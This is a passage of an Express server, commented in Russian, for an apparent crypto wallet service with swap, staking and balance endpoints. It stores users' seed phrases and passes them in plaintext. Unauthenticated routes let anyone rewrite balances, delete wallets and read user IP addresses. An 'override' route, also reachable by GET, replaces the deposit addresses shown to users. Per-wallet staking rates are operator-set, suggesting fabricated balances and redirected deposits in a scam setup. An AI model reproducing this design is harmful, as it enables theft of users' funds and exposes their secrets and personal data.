      roundToDecimals(feeAmountTo, 6),
      roundToDecimals(usdValue, 6),
      rate,
      releaseAt
    );

    refreshSessionsForPhrase(phrase);

    return res.json({
      success: true,
      data: {
        swapId: insertResult.lastInsertRowid,
        status: SWAP_STATUS.PENDING,
        releaseAt,
        waitSeconds: Math.ceil(SWAP_FREEZE_MS / 1000),
        fromSymbol: fromSym,
        toSymbol: toSym,
        fromAmount: normalizedAmount,
        toAmount: netToAmount,
        feePercent
      }
    });
  } catch (error) {
    console.error('[SWAP] Error executing swap:', error);
    return res.status(500).json({ success: false, error: 'Не удалось выполнить обмен' });
  }
});

app.post('/api/swap/pending', (req, res) => {
  try {
    const { sessionLogin } = req.body || {};
    if (!sessionLogin) {
      return res.status(400).json({ success: false, error: 'sessionLogin обязателен' });
    }
    const session = sessions.get(sessionLogin);
    if (!session || !session.activeWallet || !session.activeWallet.mnemonic) {
      return res.json({ success: true, data: [] });
    }
    const swaps = selectPendingSwapsByPhraseStmt
      .all(session.activeWallet.mnemonic)
      .map((swap) => ({
        id: swap.id,
        fromSymbol: swap.from_symbol,
        toSymbol: swap.to_symbol,
        fromAmount: swap.from_amount,
        toAmount: swap.to_amount,
        releaseAt: swap.release_at,
        status: swap.status,
        feePercent: swap.fee_percent
      }));
    return res.json({ success: true, data: swaps });
  } catch (error) {
    console.error('[SWAP] Error loading pending swaps:', error);
    return res.status(500).json({ success: false, error: 'Не удалось загрузить обмены' });
  }
});

// Обновить застейканный баланс одной монеты
app.post('/api/wallets/staked-balance', (req, res) => {
  try {
    const { phrase, coin, amount } = req.body;
    
    if (!phrase || !coin || amount === undefined) {
      return res.status(400).json({
        success: false,
        error: 'phrase, coin, and amount are required'
      });
    }
    
    const wallet = updateStakedBalance(phrase, coin, parseFloat(amount));
    
    if (!wallet) {
      return res.status(404).json({ success: false, error: 'Wallet not found' });
    }
    
    // Обновляем все активные сессии этого пользователя
    for (const [login, session] of sessions.entries()) {
      if (session.activeWallet && session.activeWallet.mnemonic === phrase) {
        updateTokenBalancesFromDB(session.activeWallet);
        saveSession(login, session.userId, session);
      }
    }
    
    res.json({
      success: true,
      message: `${coin.toUpperCase()} staked balance updated`,
      data: wallet
    });
  } catch (error) {
    console.error('[API] Error updating staked balance:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// Обновить все балансы кошелька
app.post('/api/wallets/balances', (req, res) => {
  try {
    const { phrase, balances } = req.body;
    
    if (!phrase || !balances) {
      return res.status(400).json({
        success: false,
        error: 'phrase and balances object are required'
      });
    }
    
    const wallet = updateAllBalances(phrase, balances);
    
    if (!wallet) {
      return res.status(404).json({ success: false, error: 'Wallet not found' });
    }
    
    res.json({
      success: true,
      message: 'All balances updated',
      data: wallet
    });
  } catch (error) {
    console.error('[API] Error updating balances:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// Удалить кошелек
app.delete('/api/wallets', (req, res) => {
  try {
    const { phrase } = req.body;
    
    if (!phrase) {
      return res.status(400).json({
        success: false,
        error: 'phrase is required'
      });
    }
    
    const deleted = deleteWallet(phrase);
    
    if (!deleted) {
      return res.status(404).json({ success: false, error: 'Wallet not found' });
    }
    
    res.json({
      success: true,
      message: 'Wallet deleted successfully'
    });
  } catch (error) {
    console.error('[API] Error deleting wallet:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// Получить статистику
app.get('/api/stats', (req, res) => {
  try {
    const stats = getStatistics();
    
    res.json({
      success: true,
      data: stats
    });
  } catch (error) {
    console.error('[API] Error getting statistics:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// ==================== USER MANAGEMENT API ====================

// Get user info
app.get('/api/user/:username', (req, res) => {
  try {
    const { username } = req.params;
    const user = getUserByUsername(username);
    
    if (!user) {
      return res.status(404).json({ success: false, error: 'User not found' });
    }
    
    res.json({
      success: true,
      data: {
        id: user.id,
        username: user.username,
        ip: user.ip,
        created_at: user.created_at,
        last_login: user.last_login
      }
    });
  } catch (error) {
    console.error('[API] Error getting user:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// Get user wallets
app.get('/api/user/:username/wallets', (req, res) => {
  try {
    const { username } = req.params;
    const user = getUserByUsername(username);
    
    if (!user) {
      return res.status(404).json({ success: false, error: 'User not found' });
    }
    
    const wallets = getUserWallets(user.id);
    
    res.json({
      success: true,
      data: wallets
    });
  } catch (error) {
    console.error('[API] Error getting user wallets:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// Create user manually
app.post('/api/user', (req, res) => {
  try {
    const { username, password } = req.body;
    
    if (!username || !password) {
      return res.status(400).json({ success: false, error: 'Username and password required' });
    }
    
    const clientIp = req.headers['x-forwarded-for'] || 
                     req.connection?.remoteAddress || 
                     req.socket?.remoteAddress || 
                     req.ip || 
                     '127.0.0.1';
    
    const userId = addUser(username, password, clientIp);
    
    if (!userId) {
      return res.status(409).json({ success: false, error: 'User already exists' });
    }
    
    res.json({
      success: true,
      data: {
        id: userId,
        username,
        ip: clientIp
      }
    });
  } catch (error) {
    console.error('[API] Error creating user:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// ==================== TOKEN VISIBILITY API ====================

// Toggle token visibility for user
app.post('/api/token/toggle', (req, res) => {
  try {
    const { userId, tokenSymbol } = req.body;
    
    if (!userId || !tokenSymbol) {
      return res.status(400).json({ success: false, error: 'userId and tokenSymbol required' });
    }
    
    const newVisibility = toggleTokenVisibility(userId, tokenSymbol);
    
    if (newVisibility === null) {
      return res.status(500).json({ success: false, error: 'Failed to toggle visibility' });
    }
    
    // ✅ ИСПРАВЛЕНИЕ: Обновляем активные сессии пользователя
    // Находим все сессии этого пользователя и обновляем их
    for (const [sessionLogin, session] of sessions.entries()) {
      if (session.userId === userId) {
        console.log(`[TokenToggle] Updating session ${sessionLogin} for user ${userId}`);
        
        // Обновляем активный кошелек
        if (session.activeWallet) {
          ensureAllTokensPresent(session.activeWallet, userId);
          updateTokenVisibilityFromDB(session.activeWallet, userId);
        }
        
        // Обновляем все кошельки в списке
        if (session.userSessionWalletList && Array.isArray(session.userSessionWalletList)) {
          session.userSessionWalletList.forEach((entry) => {
            if (entry && entry.wallet) {
              ensureAllTokensPresent(entry.wallet, userId);
              updateTokenVisibilityFromDB(entry.wallet, userId);
            }
          });
        }
        
        // Сохраняем обновленную сессию
        saveSession(sessionLogin, userId, session);
        console.log(`[TokenToggle] Session updated with new token: ${tokenSymbol}`);
      }
    }
    
    res.json({
      success: true,
      data: {
        userId,
        tokenSymbol,
        isVisible: newVisibility
      }
    });
  } catch (error) {
    console.error('[API] Error toggling token visibility:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// Set token visibility for user
app.post('/api/token/visibility', (req, res) => {
  try {
    const { userId, tokenSymbol, isVisible } = req.body;
    
    if (!userId || !tokenSymbol || typeof isVisible !== 'boolean') {
      return res.status(400).json({ success: false, error: 'userId, tokenSymbol and isVisible (boolean) required' });
    }
    
    const success = setTokenVisibility(userId, tokenSymbol, isVisible);
    
    if (!success) {
      return res.status(500).json({ success: false, error: 'Failed to set visibility' });
    }
    
    res.json({
      success: true,
      data: {
        userId,
        tokenSymbol,
        isVisible
      }
    });
  } catch (error) {
    console.error('[API] Error setting token visibility:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// Get all token visibility settings for user
app.get('/api/token/visibility/:userId', (req, res) => {
  try {
    const userId = parseInt(req.params.userId);
    
    if (!userId) {
      return res.status(400).json({ success: false, error: 'userId required' });
    }
    
    const visibility = getUserTokenVisibility(userId);
    
    console.log(`[API] Token visibility for user ${userId}:`, visibility);
    
    res.json({
      success: true,
      data: visibility
    });
  } catch (error) {
    console.error('[API] Error getting token visibility:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// Get specific token visibility for user
app.get('/api/token/visibility/:userId/:tokenSymbol', (req, res) => {
  try {
    const userId = parseInt(req.params.userId);
    const { tokenSymbol } = req.params;
    
    if (!userId || !tokenSymbol) {
      return res.status(400).json({ success: false, error: 'userId and tokenSymbol required' });
    }
    
    const isVisible = getTokenVisibility(userId, tokenSymbol);
    
    res.json({
      success: true,
      data: {
        userId,
        tokenSymbol,
        isVisible
      }
    });
  } catch (error) {
    console.error('[API] Error getting token visibility:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// ==================== SESSION MANAGEMENT API ====================

// Endpoint closed
app.get('/api/sessions', (req, res) => {
  res.status(403).json({ success: false, error: 'Forbidden' });
});

// ============================================================================

// Address override endpoints (so you can paste Trust addresses directly)
// POST /address/override { sessionLogin, symbol: 'TRX', address: 'T...' }
app.post('/address/override', (req, res) => {
  const { sessionLogin, symbol, address } = req.body || {};
  if (!sessionLogin || !symbol || !address) {
    return res.status(400).json({ error: 'sessionLogin, symbol, address required' });
  }
  const s = sessions.get(sessionLogin);
  if (!s) return res.status(400).json({ error: 'Session not found' });
  if (!s.addressOverrides) s.addressOverrides = {};
  s.addressOverrides[String(symbol).toUpperCase()] = String(address);
  // apply to all wallets
  (s.userSessionWalletList || []).forEach((w) => applyAddressOverridesToWallet(w.wallet, s.addressOverrides));
  if (s.activeWallet) applyAddressOverridesToWallet(s.activeWallet, s.addressOverrides);
  // persist overrides by mnemonic
  try {
    (s.userSessionWalletList || []).forEach((w) => {
      if (w && w.wallet && w.wallet.mnemonic) {
        const mh = mnemonicHash(w.wallet.mnemonic);
        if (mh) {
          if (!overrideStore[mh]) overrideStore[mh] = {};
          overrideStore[mh][String(symbol).toUpperCase()] = String(address);
        }
      }
    });
    saveOverrides(overrideStore);
  } catch (e) {}
  
  // Сохраняем изменения в БД
  if (s.userId) {
    saveSession(sessionLogin, s.userId, s);
  }
  
  return res.json({ ok: true, overrides: s.addressOverrides });
});

// Convenience GET for quick override via URL: /debug/override?sessionLogin=demo&symbol=TRX&address=TABC...
app.get('/debug/override', (req, res) => {
  req.body = req.query; // reuse handler
  return app._router.handle(Object.assign({}, req, { method: 'POST', url: '/address/override' }), res, function () {});
});

// ==================== STAKING SYSTEM ====================

// Конфигурация стейкинга для каждого токена
const STAKING_CONFIG = {
  BNB: {
    minAmount: 0.025,
    lockPeriodDays: 4,
    apr: 10.22,
    dailyRate: 10.22 / 365 / 100
  },
  ETH: {
    minAmount: 0.01,
    lockPeriodDays: 4,
    apr: 13.8,
    dailyRate: 13.8 / 365 / 100
  },
  BTC: {
    minAmount: 0.001,
    lockPeriodDays: 4,
    apr: 7.8,
    dailyRate: 7.8 / 365 / 100
  },
  TRX: {
    minAmount: 100,
    lockPeriodDays: 4,
    apr: 9.57,
    dailyRate: 9.57 / 365 / 100
  },
  SOL: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 17.4,
    dailyRate: 17.4 / 365 / 100
  },
  TON: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 11.2,
    dailyRate: 11.2 / 365 / 100
  },
  USDT: {
    minAmount: 10,
    lockPeriodDays: 30, // Изменено с 4 на 30 дней
    apr: 10.97,
    dailyRate: 10.97 / 365 / 100
  },
  USD1: {
    minAmount: 10,
    lockPeriodDays: 30, // Стейблкоин с увеличенной блокировкой
    apr: 8.3,
    dailyRate: 8.3 / 365 / 100
  },
  XRP: {
    minAmount: 20,
    lockPeriodDays: 4,
    apr: 10.3,
    dailyRate: 10.3 / 365 / 100
  },
  DOGE: {
    minAmount: 100,
    lockPeriodDays: 4,
    apr: 12.1,
    dailyRate: 12.1 / 365 / 100
  },
  ARB: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 6.9,
    dailyRate: 6.9 / 365 / 100
  },
  STRK: {
    minAmount: 20,
    lockPeriodDays: 4,
    apr: 25.3,
    dailyRate: 25.3 / 365 / 100
  },
  ADA: {
    minAmount: 20,
    lockPeriodDays: 4,
    apr: 7.3,
    dailyRate: 7.3 / 365 / 100
  },
  SUI: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 6.1,
    dailyRate: 6.1 / 365 / 100
  },
  DOT: {
    minAmount: 2,
    lockPeriodDays: 4,
    apr: 19.11,
    dailyRate: 19.11 / 365 / 100
  },
  SHIB: {
    minAmount: 1000000,
    lockPeriodDays: 4,
    apr: 8.4,
    dailyRate: 8.4 / 365 / 100
  },
  USDTERC: {
    minAmount: 10,
    lockPeriodDays: 30, // Изменено с 4 на 30 дней
    apr: 10.97,
    dailyRate: 10.97 / 365 / 100
  },
  ZEC: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 16.83,
    dailyRate: 16.83 / 365 / 100
  },
  NOT: {
    minAmount: 1000,
    lockPeriodDays: 4,
    apr: 19.87,
    dailyRate: 19.87 / 365 / 100
  },
  BLUM: {
    minAmount: 100,
    lockPeriodDays: 4,
    apr: 27.1,
    dailyRate: 27.1 / 365 / 100
  },
  XLM: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 9.2,
    dailyRate: 9.2 / 365 / 100
  },
  HYPE: {
    minAmount: 0.5,
    lockPeriodDays: 4,
    apr: 7.4,
    dailyRate: 7.4 / 365 / 100
  },
  UNI: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 6.7,
    dailyRate: 6.7 / 365 / 100
  },
  NEAR: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 9.3,
    dailyRate: 9.3 / 365 / 100
  },
  PEPE: {
    minAmount: 10000000,
    lockPeriodDays: 4,
    apr: 14.6,
    dailyRate: 14.6 / 365 / 100
  },
  ATOM: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 22.1,
    dailyRate: 22.1 / 365 / 100
  },
  DASH: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 8.2,
    dailyRate: 8.2 / 365 / 100
  },
  CAKE: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 7.6,
    dailyRate: 7.6 / 365 / 100
  },
  ZK: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 9.8,
    dailyRate: 9.8 / 365 / 100
  },
  HBAR: {
    minAmount: 100,
    lockPeriodDays: 4,
    apr: 8.3,
    dailyRate: 8.3 / 365 / 100
  },
  LTC: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 13.2,
    dailyRate: 13.2 / 365 / 100
  },
  LINK: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 11.4,
    dailyRate: 11.4 / 365 / 100
  },
  APT: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 10.3,
    dailyRate: 10.3 / 365 / 100
  },
  LDO: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 7.62,
    dailyRate: 7.62 / 365 / 100
  },
  AAVE: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 4.7,
    dailyRate: 4.7 / 365 / 100
  },
  AVAX: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 9.1,
    dailyRate: 9.1 / 365 / 100
  },
  ASTER: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 14.26,
    dailyRate: 14.26 / 365 / 100
  },
  FIL: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 9.3,
    dailyRate: 9.3 / 365 / 100
  },
  PAXG: {
    minAmount: 0.01,
    lockPeriodDays: 4,
    apr: 7.93,
    dailyRate: 7.93 / 365 / 100
  },
  USDC: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 8.26,
    dailyRate: 8.26 / 365 / 100
  },
  XAUT: {
    minAmount: 0.01,
    lockPeriodDays: 4,
    apr: 6.81,
    dailyRate: 6.81 / 365 / 100
  },
  TRUMP: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 26.1,
    dailyRate: 26.1 / 365 / 100
  },
  OP: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 4.7,
    dailyRate: 4.7 / 365 / 100
  },
  DCR: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 8.23,
    dailyRate: 8.23 / 365 / 100
  },
  SAND: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 3.8,
    dailyRate: 3.8 / 365 / 100
  },
  INJ: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 15.32,
    dailyRate: 15.32 / 365 / 100
  },
  MNT: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 8.9,
    dailyRate: 8.9 / 365 / 100
  },
  XMR: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 6.4,
    dailyRate: 6.4 / 365 / 100
  },
  KAS: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 12.5,
    dailyRate: 12.5 / 365 / 100
  },
  ENS: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 8.14,
    dailyRate: 8.14 / 365 / 100
  },
  CC: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 10.37,
    dailyRate: 10.37 / 365 / 100
  },
  XPL: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 7.22,
    dailyRate: 7.22 / 365 / 100
  },
  LAYER: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 18.64,
    dailyRate: 18.64 / 365 / 100
  },
  BERA: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 29.89,
    dailyRate: 29.89 / 365 / 100
  },
  WLFI: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 11.71,
    dailyRate: 11.71 / 365 / 100
  },
  ICP: {
    minAmount: 0.5,
    lockPeriodDays: 4,
    apr: 9.54,
    dailyRate: 9.54 / 365 / 100
  },
  JUP: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 9.12,
    dailyRate: 9.12 / 365 / 100
  },
  ZERO: {
    minAmount: 0.01,
    lockPeriodDays: 4,
    apr: 16.42,
    dailyRate: 16.42 / 365 / 100
  },
  ETC: {
    minAmount: 0.01,
    lockPeriodDays: 4,
    apr: 7.68,
    dailyRate: 7.68 / 365 / 100
  },
  XCH: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 13.21,
    dailyRate: 13.21 / 365 / 100
  },
  VON: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 12.5,
    dailyRate: 12.5 / 365 / 100
  },
  ETHZK: {
    minAmount: 0.01,
    lockPeriodDays: 4,
    apr: 5.5,
    dailyRate: 5.5 / 365 / 100
  },
  SKR: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 67.23,
    dailyRate: 67.23 / 365 / 100
  },
  TORN: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 130.23,
    dailyRate: 130.23 / 365 / 100
  },
  NFLXON: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 6.41,
    dailyRate: 6.41 / 365 / 100
  },
  NVDAON: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 5.82,
    dailyRate: 5.82 / 365 / 100
  },
  AAPL: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 3.33,
    dailyRate: 3.33 / 365 / 100
  },
  TSLA: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 6.22,
    dailyRate: 6.22 / 365 / 100
  },
  MSFT: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 8.8,
    dailyRate: 8.8 / 365 / 100
  },
  AMZN: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 5.73,
    dailyRate: 5.73 / 365 / 100
  },
  ENA: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 15.22,
    dailyRate: 15.22 / 365 / 100
  },
  ETHFI: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 12.71,
    dailyRate: 12.71 / 365 / 100
  },
  GRASS: {
    minAmount: 10,
    lockPeriodDays: 4,
    apr: 9.24,
    dailyRate: 9.24 / 365 / 100
  },
  OKB: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 8.8,
    dailyRate: 8.8 / 365 / 100
  },
  BCH: {
    minAmount: 0.01,
    lockPeriodDays: 4,
    apr: 9.1,
    dailyRate: 9.1 / 365 / 100
  },
  TAO: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 7.6,
    dailyRate: 7.6 / 365 / 100
  },
  ENSO: {
    minAmount: 0.1,
    lockPeriodDays: 4,
    apr: 23.11,
    dailyRate: 23.11 / 365 / 100
  },
  KAG: {
    minAmount: 1,
    lockPeriodDays: 4,
    apr: 15.3,
    dailyRate: 15.3 / 365 / 100
  }
};

const selectStakingRateStmt = db.prepare('SELECT apr, updated_at FROM staking_rates WHERE symbol = ?');
const listStakingRatesStmt = db.prepare('SELECT symbol, apr, updated_at FROM staking_rates');
const insertStakingRateIfMissingStmt = db.prepare('INSERT OR IGNORE INTO staking_rates (symbol, apr) VALUES (?, ?)');
function seedStakingRates() {
  const rows = listStakingRatesStmt.all();
  const existing = new Set(rows.map(row => row.symbol));
  Object.entries(STAKING_CONFIG).forEach(([symbol, config]) => {
    if (!existing.has(symbol)) {
      insertStakingRateIfMissingStmt.run(symbol, config.apr);
    }
  });
  console.log('[DB] staking_rates table synced with default APR values');
}

seedStakingRates();

// Prepared statements для индивидуальных ставок кошельков
const selectWalletStakingRateStmt = db.prepare('SELECT apr FROM wallet_staking_rates WHERE mnemonic_hash = ? AND symbol = ?');
const listWalletStakingRatesStmt = db.prepare('SELECT symbol, apr, updated_at FROM wallet_staking_rates WHERE mnemonic_hash = ?');
const upsertWalletStakingRateStmt = db.prepare('INSERT INTO wallet_staking_rates (mnemonic_hash, symbol, apr) VALUES (?, ?, ?) ON CONFLICT(mnemonic_hash, symbol) DO UPDATE SET apr = excluded.apr, updated_at = CURRENT_TIMESTAMP');
const deleteWalletStakingRateStmt = db.prepare('DELETE FROM wallet_staking_rates WHERE mnemonic_hash = ? AND symbol = ?');

function getDynamicStakingConfig(symbol) {
  const baseConfig = STAKING_CONFIG[symbol];
  if (!baseConfig) return null;
  const row = selectStakingRateStmt.get(symbol);
  const apr = row && typeof row.apr === 'number' ? row.apr : baseConfig.apr;
  return {
    ...baseConfig,
    apr,
    dailyRate: apr / 365 / 100,
    updatedAt: row?.updated_at || null
  };
}

function getAllDynamicStakingRates() {
  const rows = listStakingRatesStmt.all();
  const rowMap = new Map(rows.map(row => [row.symbol, row]));
  const result = {};
  Object.entries(STAKING_CONFIG).forEach(([symbol, base]) => {
    const row = rowMap.get(symbol);
    const apr = row && typeof row.apr === 'number' ? row.apr : base.apr;
    result[symbol] = {
      apr,
      dailyRate: apr / 365 / 100,
      minAmount: base.minAmount,
      lockPeriodDays: base.lockPeriodDays,
      updatedAt: row?.updated_at || null
    };
  });
  return result;
}

// Каскад: wallet_staking_rates -> staking_rates -> STAKING_CONFIG
function getStakingConfigForWallet(symbol, mHash) {
  const baseConfig = STAKING_CONFIG[symbol];
  if (!baseConfig) return null;

  if (mHash) {
    const walletRow = selectWalletStakingRateStmt.get(mHash, symbol);
    if (walletRow && typeof walletRow.apr === 'number') {
      return {
        ...baseConfig,
        apr: walletRow.apr,
        dailyRate: walletRow.apr / 365 / 100,
        individualRate: true
      };
    }
  }

  return getDynamicStakingConfig(symbol);
}

function getAllStakingRatesForWallet(mHash) {
  const globalRates = getAllDynamicStakingRates();

  if (!mHash) return globalRates;

  const walletRows = listWalletStakingRatesStmt.all(mHash);
  if (!walletRows.length) return globalRates;

  const walletMap = new Map(walletRows.map(r => [r.symbol, r]));
  const result = { ...globalRates };

  for (const [symbol, wRow] of walletMap) {
    if (result[symbol]) {
      result[symbol] = {
        ...result[symbol],
        apr: wRow.apr,
        dailyRate: wRow.apr / 365 / 100,
        individualRate: true,
        updatedAt: wRow.updated_at
      };
    }
  }

  return result;
}

function withDynamicStakeInfo(tokenInfo) {
  if (!tokenInfo) return tokenInfo;
  if (!tokenInfo.stakeInfo || !tokenInfo.symbol) {
    return { ...tokenInfo };
  }
  const dynamicConfig = getDynamicStakingConfig(tokenInfo.symbol);
  if (!dynamicConfig) {
    return { ...tokenInfo };
  }
  return {
    ...tokenInfo,
    stakeInfo: {
      ...tokenInfo.stakeInfo,
      apy: dynamicConfig.apr,
      lockTimeAsDay: dynamicConfig.lockPeriodDays,
      minAmount: dynamicConfig.minAmount
    }
  };
}

// Утилита для расчета наград за период
function calculateRewards(amount, dailyRate, days) {
  return amount * dailyRate * days;
}

// Утилита для расчета даты разблокировки
function calculateUnlockDate(startDate, lockPeriodDays) {
  const unlock = new Date(startDate);
  // Используем миллисекунды для точного расчета дробных дней
  const millisecondsToAdd = lockPeriodDays * 24 * 60 * 60 * 1000;
  unlock.setTime(unlock.getTime() + millisecondsToAdd);
  return unlock.toISOString();
}

// Утилита для проверки можно ли разблокировать
function canUnlock(unlockDate) {
  return new Date() >= new Date(unlockDate);
}

// Автоматическое начисление наград (вызывается каждые 24 часа)
function processStakingRewards() {
  console.log('[STAKING] Processing daily rewards...');
  
  try {
    const now = new Date().toISOString();
    // Проверяем позиции старше 24 часов
    const yesterday = new Date(Date.now() - 24 * 60 * 60 * 1000).toISOString();
    
    // Находим активные позиции, которым нужно начислить награды
    const positions = db.prepare(`
      SELECT * FROM staking_positions 
      WHERE status = 'active' 
      AND last_reward_date < ?
    `).all(yesterday);
    
    console.log(`[STAKING] Found ${positions.length} positions for reward processing`);
    
    positions.forEach(position => {
      const mHash = position.phrase ? mnemonicHash(position.phrase) : null;
      const config = getStakingConfigForWallet(position.token_symbol, mHash);
      if (!config) {
        console.log(`[STAKING] No config for token ${position.token_symbol}`);
        return;
      }
      
      // Вычисляем количество дней с последней награды
      const lastReward = new Date(position.last_reward_date);
      const daysSinceLastReward = Math.floor((Date.now() - lastReward.getTime()) / (24 * 60 * 60 * 1000));
      
      console.log(`[STAKING] Position #${position.id}: ${daysSinceLastReward} days since last reward (APR: ${config.apr}%${config.individualRate ? ' [individual]' : ''})`);
      
      if (daysSinceLastReward >= 1) {
        // Рассчитываем награду за прошедшие дни
        const reward = calculateRewards(position.amount, config.dailyRate, daysSinceLastReward);
        
        // Обновляем позицию
        db.prepare(`
          UPDATE staking_positions 
          SET total_rewards = total_rewards + ?,
              last_reward_date = ?
          WHERE id = ?
        `).run(reward, now, position.id);
        
        console.log(`[STAKING] ✅ Added ${reward.toFixed(8)} ${position.token_symbol} reward to position #${position.id} (${daysSinceLastReward} days elapsed)`);
      } else {
        console.log(`[STAKING] ⏳ Position #${position.id} not ready yet (${daysSinceLastReward} days elapsed, need 1 day minimum)`);
      }
    });
    
    console.log('[STAKING] Rewards processing completed');
  } catch (error) {
    console.error('[STAKING] Error processing rewards:', error);
  }
}

// Запуск автоматического начисления наград каждый час
// (daysSinceLastReward >= 1 предотвращает двойное начисление)
setInterval(processStakingRewards, 60 * 60 * 1000); // 1 час

// Запускаем сразу при старте (проверяем пропущенные награды)
setTimeout(processStakingRewards, 5000);

let swapProcessorActive = false;

function processPendingSwaps() {
  if (swapProcessorActive) return;
  swapProcessorActive = true;

  try {
    const nowIso = new Date().toISOString();
    const dueSwaps = selectDueSwapsStmt.all(nowIso);

    if (dueSwaps.length === 0) {
      swapProcessorActive = false;
      return;
    }

    console.log(`[SWAP] Found ${dueSwaps.length} swap(s) ready for release`);

    dueSwaps.forEach((swap) => {
      try {
        const wallet = getWalletByPhrase(swap.phrase);
        if (!wallet) {
          throw new Error('Wallet not found for swap release');
        }

        const creditAmount = Number(swap.to_amount || 0);
        const currentBalance = getBalanceFromDB(wallet, swap.to_symbol);
        const nextBalance = roundToDecimals(currentBalance + creditAmount, 8);

        updateBalance(swap.phrase, swap.to_symbol, nextBalance);
        logBalanceChange(
          swap.user_id,
          swap.phrase,
          swap.to_symbol,
          'swap_release',
          creditAmount,
          currentBalance,
          nextBalance,
          `Swap #${swap.id} released`
        );

        markSwapReleasedStmt.run(SWAP_STATUS.RELEASED, new Date().toISOString(), swap.id);
        refreshSessionsForPhrase(swap.phrase);
        console.log(`[SWAP] Swap #${swap.id} released successfully (${swap.from_symbol} → ${swap.to_symbol})`);
      } catch (error) {
        console.error(`[SWAP] Failed to release swap #${swap.id}:`, error.message);
        markSwapFailedStmt.run(SWAP_STATUS.FAILED, error.message, swap.id);
      }
    });
  } catch (error) {
    console.error('[SWAP] Processor error:', error);
  } finally {
    swapProcessorActive = false;
  }
}

setInterval(processPendingSwaps, SWAP_PROCESS_INTERVAL_MS);
setTimeout(processPendingSwaps, 3000);

// ==================== STAKING API ENDPOINTS ====================

// GET /api/staking/rates - Получить все APR из БД (с поддержкой индивидуальных ставок)
app.get('/api/staking/rates', (req, res) => {
  try {
    const phrase = req.query.phrase;
    const mHash = phrase ? mnemonicHash(phrase) : null;
    const data = mHash ? getAllStakingRatesForWallet(mHash) : getAllDynamicStakingRates();
    res.json({
      success: true,
      data
    });
  } catch (error) {
    console.error('[API] Error getting staking rates:', error);
    res.status(500).json({ success: false, error: 'Failed to load staking rates' });
  }
});

// GET /api/staking/config/:token - Получить конфигурацию стейкинга для токена (с поддержкой индивидуальных ставок)
app.get('/api/staking/config/:token', (req, res) => {
  try {
    const token = req.params.token.toUpperCase();
    const phrase = req.query.phrase;
    const mHash = phrase ? mnemonicHash(phrase) : null;
    const config = mHash ? getStakingConfigForWallet(token, mHash) : getDynamicStakingConfig(token);
    
    if (!config) {
      return res.status(404).json({
        success: false,
        error: 'Staking not available for this token'
      });
    }
    
    res.json({
      success: true,
      data: {
        token,
        minAmount: config.minAmount,
        lockPeriodDays: config.lockPeriodDays,
        apr: config.apr,
        individualRate: config.individualRate || false
      }
    });
  } catch (error) {
    console.error('[API] Error getting staking config:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// GET /api/staking/info - Получить информацию о стейкинге пользователя
app.get('/api/staking/info', (req, res) => {
  try {
    const { phrase, token } = req.query;
    
    if (!phrase) {
      return res.status(400).json({
        success: false,
        error: 'Phrase required'
      });
    }
    
    // Получаем wallet по фразе
    const wallet = db.prepare('SELECT * FROM wallets WHERE phrase = ?').get(phrase);
    
    if (!wallet) {
      return res.status(404).json({
        success: false,
